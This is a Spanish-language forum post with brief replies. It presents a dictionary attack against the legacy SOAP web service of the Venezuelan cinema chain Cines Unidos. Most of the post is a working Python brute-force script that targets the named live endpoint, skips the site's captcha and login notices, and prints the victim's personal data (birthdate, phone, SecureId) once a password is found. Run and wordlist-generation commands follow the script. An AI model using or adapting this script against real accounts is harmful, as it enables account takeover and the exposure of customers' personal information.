Cómo hacer un ataque por diccionario a Cines Unidos

Iniciado por DtxdF, Diciembre 19, 2021, 11:57:52 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Diciembre 19, 2021, 11:57:52 PM Ultima modificación: Diciembre 21, 2021, 09:23:47 PM por AXCESS
Hace muy poco se No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, la cual presentaba una vulnerabilidad más sencilla de explotar que la que se presentará en este artículo, pero no por ello menos grave.


Cines Unidos es creador de su propio Web Service, y parece que muy viejo es, ya que está o estaba pensado para soportar a Blackberry, que en sus tiempos fue un gran teléfono para muchos; pero hoy en día solo puede ser un agujero de seguridad, siendo éste un sistema heredado. Aunque es indiferente, ya que se puede soportar perfectamente una plataforma vieja, sin descuidar la seguridad, y sin por lo menos tener autenticación, de la cual carece.


Ingresando a 'No tienes permitido ver los links. Registrarse o Entrar a mi cuenta' es posible observar las funciones de las cual nos convida.


Aunque todas sean interesantes, las que me motivaron a redactar este modesto artículo son dos: Login y RegisterUser; siendo la primera la que protagonizará esta obra.

Resulta que Cines Unidos tiene un captcha en el registro y un molesto aviso en el de inicio de sesión el cual nos informa cuando cometemos un error en nuestras credenciales. Todo esto nos hace perder muchísimo tiempo siendo un atacante en este escenario. ¿Qué tal si usamos el Web Service para bypasear todo esto y ahorrar tiempo?


Código: python
#!/usr/local/bin/python3.7

import zeep

WS_URL = "http://ws.cinesunidos.com/blackberry.asmx?wsdl"

def get_instance():
return zeep.Client(
WS_URL
)

def ws_login(username, password):
ws = get_instance()

return ws.service.Login(
username, password
)

def main():
import argparse

parser = argparse.ArgumentParser(description="Brute-force attack to ws.cinesunidos.com/blackberry.asmx")
parser.add_argument("-u", "--username", help="The username", required=True)
parser.add_argument("-w", "--wordlist", help="The wordlist to use", required=True, type=argparse.FileType("r", encoding="utf-8"))
parser.add_argument("-i", "--show-user-information", help="Show user information", action="store_true")

args = parser.parse_args()
username = args.username
wordlist = args.wordlist
show_info = args.show_user_information

for password in wordlist:
# Remove new line
password = password.strip()

response = ws_login(username, password)

if (response["Status"]):
print(f"[+] Password found: {password}")

if (show_info):
user_info = response.User

print("User information:")
print("################")
print("Birthdate:", f"{user_info.Birthdate}")
print("Sex:", f"{user_info.Sex}")
print("Login:", f"{user_info.Login}")
print("Name:", f"{user_info.Name}")
print("LastName:", f"{user_info.LastName}")
print("Phone:", f"{user_info.Phone}")
print("SecureId:", f"{user_info.SecureId}")
print("ExternalId:", f"{user_info.ExternalId}")
break
else:
print(f"[-] The '{password}' is incorrect...")

if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
pass


Un script es lo que se necesita para realizar esto. Un script que automatice, que sea nuestra herramienta, o nuestra arma. Su uso, por suerte, es demasiado sencillo, y tan solo depende de una librería:

Código: bash
pip install zeep


Los únicos parámetros que debemos memorizar, son tres: -u, el nombre de usuario; -w, la lista de contraseñas; y por último, además que es opcional, pero muy útil, -i que muestra la información de usuario. Agrupando esta breve explicación, podríamos realizar la siguiente secuencia:

Código: bash
python3.7 bruteforce.py -u [email protected] -w wordlist.lst -i


*.- No tienes permitido ver los links. Registrarse o Entrar a mi cuenta: la dirección de correo electrónico objetivo;
*.- wordlist.lst: la lista de palabras que se usarán como contraseñas, línea por línea.

Claro, que nos faltaría una cosa muy relevante: la lista de contraseñas. Es arbitraria, pero para esta Prueba de Concepto, se usará el clásico crunch:


Código: bash
crunch 1 5 12345abc > wordlist.lst


Y como soy víctima y atacante en este escenario, introduzco intencionalmente la contraseña que conozco en cualquier línea que desee. Acto seguido: realizamos nuestro pequeño ataque.


Feliz navidad.

~ DtxdF
PGP :: <D82F366940155CB043147178C4E075FC4403BDDC>

~ DtxdF

Esto remacha el clavo...

Sí que está dando uña en esta navidad.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

@AXCESS

Santa Claus le da doble regalos a los gatos. Que quede en evidencia lo siguiente:


~ DtxdF
PGP :: <D82F366940155CB043147178C4E075FC4403BDDC>

~ DtxdF